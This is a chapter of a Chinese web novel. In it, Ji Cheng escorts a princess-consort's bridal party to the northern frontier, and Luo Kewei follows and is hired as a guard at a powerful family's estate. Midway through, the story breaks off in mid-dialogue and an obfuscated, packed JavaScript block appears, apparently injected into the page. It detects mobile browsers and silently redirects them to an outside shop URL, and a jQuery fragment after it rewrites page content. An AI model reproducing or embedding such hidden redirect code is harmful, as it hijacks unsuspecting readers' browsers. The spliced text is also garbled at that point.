越王病逝的消息很快传遍京城的每一个角落，紧接着北狄使臣入城，深秋无形的肃杀萧瑟将城内街道和树木通通蒙上一层灰意。
王府内到处都挂着白绫，棺椁停在正堂中心，每日王府都有前来吊唁的人，或朝臣，或百姓。
皇帝派人送了钱帛来风光大办葬礼，也带来一道旨意：季澄在越王下葬后需以何勋副将的身份即刻赶赴虎骸关。
至于何时回京，旨意里没说。
季澄能透过这道旨意看到皇上紧锁的眉头和脸上淡淡的讥笑，耳边似乎能听到她无可奈何的叹息声。
北狄的新合约贪婪无耻，提到了岁币要翻倍，要白河开互市，又要帝卿嫁过去。
可皇上还是允了，何君后选了郁氏所出的绮兰帝卿，陪嫁也是按照合约里要求的，一分不差，几乎掏空了半个国库。
路什锦有官身在走不开，良桓不知所踪，潘河给她留过信告知她自己已去往青州，府兵得留下来保护爹和其他人，小鱼不便待在军营。
她向爹郑重道别的时候，爹抹着眼泪让她把璞忠也带上，璞忠跟了母亲多年，他对北狄比自己熟悉。
除此之外，她只带了五个信得过的探子同她一起去。
-
一路上天气越来越冷，草木昏黄。
皇上把季澄也一同编入了绮兰帝卿的送嫁队伍，再加上何燧和一千兵马，她们需在新年之前将人平安送达虎骸关。
由于谵州蝗灾饥民颇多，众人只能绕道而行，步兵一连四五天双脚都在路上跋涉，像是没了气儿的躯壳。
绮兰帝卿不解，掀起车帘对着骑在马上的何燧发问：“就不扎寨休憩半日么？”
“到了宛丘再看能不能歇。”何燧纵使是一直骑着马，可人已经被这一路的风土吹得有些神志不清了。
绮兰无奈道。
“只是晚几日，没什么大不了的吧，我人又没跑，那几个北狄人一路跟着我们，她们会解释的。”
季澄驾马从何燧右侧驶出，她俯身看了一眼窗中的绮兰帝卿，他年轻漂亮，却也是天真无知。
“那些嫁妆才是她们要的。”
绮兰盯着她看了好一会儿。
“世女这把随身的匕首，能不能赠与我？”
他要行刺？
季澄感觉自己的太阳穴正一跳一跳地惹着痛。
“烦请帝卿不要做徒劳无功的事，免得祸及自身。”
绮兰莞尔一笑。
“我知道你在说什么，可那人总不能不看慎氏的眼色吧？毕竟她是君，她是臣。”
季澄没再说什么，将马驶到队伍前头，为所有步兵开路。
星夜兼程，到底还是赶上了，边关已经下起鹅毛大雪，将天地都染成银白，送亲队伍在虎骸关交接，绮兰帝卿身边只留了何燧，礼官，并着数十奴仆，一百护卫，其余人都被守将勒优挡在霜州城外，最后圣上下旨，将这些兵士编入边防。
-
那日罗恪微其实并未出城，他一直待在客栈，却不知自己在等些什么，或许自己只是不愿回到那个闭塞的桐木城。
零零星星的消息传到耳内，增币的事，和亲的事，季澄要启程去边关，有人哀叹着重税，有人说起五年前的边关旧事，越王以前靠行军布阵和神臂弓赢过几回阎罗军，还有人说起季澄从前的荒唐事，他听着听着，有时会笑一下，紧接着便是铺天盖地的愧疚。
他的心愿从要陪着季澄好好活变成了要为她死，或者说——为了越王而死。
他的枪留在了越王府，不好去取，他买了件能拿来防身的匕首，银子不多了，他雇不起马车，新买了一匹马，一人一马赶在季澄后脚出发，他都是按照最近的路线走的，走了两三个月了，现下只需要穿过谵州就能到禾施县。
他自小在山里长大，从没有见过这般一望无垠光秃秃的地方，新奇之余，浮上心头更多的是一种避无可避的担忧。
一路上见到的行人都形容枯槁，死气沉沉，城门口聚集了好多流民，他的马匹差点儿被抢，幸好他力气大，又有武器防身。
他到了这儿才知晓此地发生了蝗灾。
蝗灾是什么……他没见过，据说是遮天蔽日的虫群来啃食庄稼，席卷而去，举着火把驱赶都奈何它们不得。
流民说，十年也难得遇到一次。
他硬着头皮往前走，没日没夜地赶路，终于出了谵州城，一座高山映入眼帘，在山的那边就是虎骸关，山脚下就是禾施县。
他入城的时候身子都快冻僵了，虽十分不舍，却也只得把一路伴着他的马卖了，添了两件厚衣裳，他跟那马行的老板约好了——若他三个月后不来赎它，它才准被挂上牌子卖掉。
禾施县与谵州那几座城池的境况真是一个天上一个地下，街道到处都挂满了五彩纸扎成的形状各异的灯笼，行人的脸庞大多是红润的，带着新年将至的欢欣。
原来快到除夕夜了，原来自己已经走了这么久。
-
他选了一个最大的客栈，不是为了住，是为了应聘，他问那个姓赵的掌柜有什么活儿能派给他的，他不怕吃苦，赵掌柜笑着上下扫了他一眼，提议他去陶家堡上当护卫。
“……我们这里所有人的生计都仰仗陶太姑。”
“吃的粮食大半是从陶家堡的地里出的。”
罗恪微面露难色，这个陶家堡一听就觉得是个大家族，就像荼蘼山的罗氏一样，是很排外的，他不怕累，就怕被人压在头上欺负。
“我跟你说，她们会经常宴请边关的将士，所以她们消息灵通，若是北狄快打过来了，你能第一个知道…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712632|189294||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”
“这年头，没什么比活命更要紧……”
“若你能顺利进那里当护卫，记得常来走动跟我通消息……”
他心中微微一动，自己确实没想到还有这一层，说不定能经常看到她，他来边关，不就是想找准机会暗地里帮助她么。
陶家堡门口坐满了去应聘护卫的人，那门口两人高的石狮子周围人头攒动，穿着鲜红祥云纹绸衣的管家站在门内，她见有新人来，命人将一只木签子递到他手里，罗恪微瞥见她攥住的签子就只剩下三个了，自己幸好来得及时。
十人一轮，太阳快落山的时候，才轮到了他。
他刚要进去，有一个黑色人影闪现至台阶下，她满头大汗，应是跑了很远的路，她猛地向那管家招手。
“太娘！太娘！”
“你明日再来……明日来也能选，太姑还没选满人呢……”
“他是男的怎么也能进？”那人不服气，大步跨上台阶，气势汹汹地瞪着罗恪微。“你别在这儿添乱。”
“我看他的身板儿比你的结实多了。”陶管家哈哈大笑了几声，推了一把愣着的罗恪微往里走，两人走过一道长长的雕花回廊，到了一处天井，选好的护卫似乎都去了下人房，所以他只见到另外九个，她们看着他的眼神一个赛一个的轻蔑和不屑。
陶太姑就坐在屋檐下的太师椅里，她瞧着正值壮年，生得富态和蔼，身旁有四个家仆侍奉着，为她揉肩，捏腿，煮茶，炙肉。
派给她们的兵器是棍，罗恪微以前常用，自从萧禄教会了他怎么使枪，他把自己以前瞎琢磨的几个招式都忘了。
但是如今看到这根棍，却突然心有灵犀似的，兵器招数都是相通。
那几人以为他好欺负，一圈儿围着他，逗他，想把他气哭。
他握住棍子，感觉自己有了千般力气。
脑子里闪过季澄出拳的残影，原来一切的秘诀就是快，他的棍从那边落下击中的谁的头，尾部又能迅速翘起挡住后来的人，圆圈有了缺口，只需握紧棍子奋力一扫，像是割稻子一样将所有的人都打趴下了，而这一切不过是转瞬之间。
陶太姑看得从太师椅上坐起来了，她兴高采烈地对着一旁站着的管家开口道：“就让这小郎君当这些护卫的领班。”
“说不定明日还能选出武功更高的人呢。”管家笑眯眯地回道。
“也是。”陶太姑又缩回椅子里。
“其他人可还要？”管家努努嘴，示意那躺在地上的九个人。
陶太姑不耐烦地摇头，她夹起一块炙肉，示意旁边的小仆给他端去。
“谢陶太姑。”
罗恪微向她行礼，他接过那个小碟子，摸起来是质地无暇的骨瓷，于是他只能握得更加当心些。
心下稍稍安定了几分。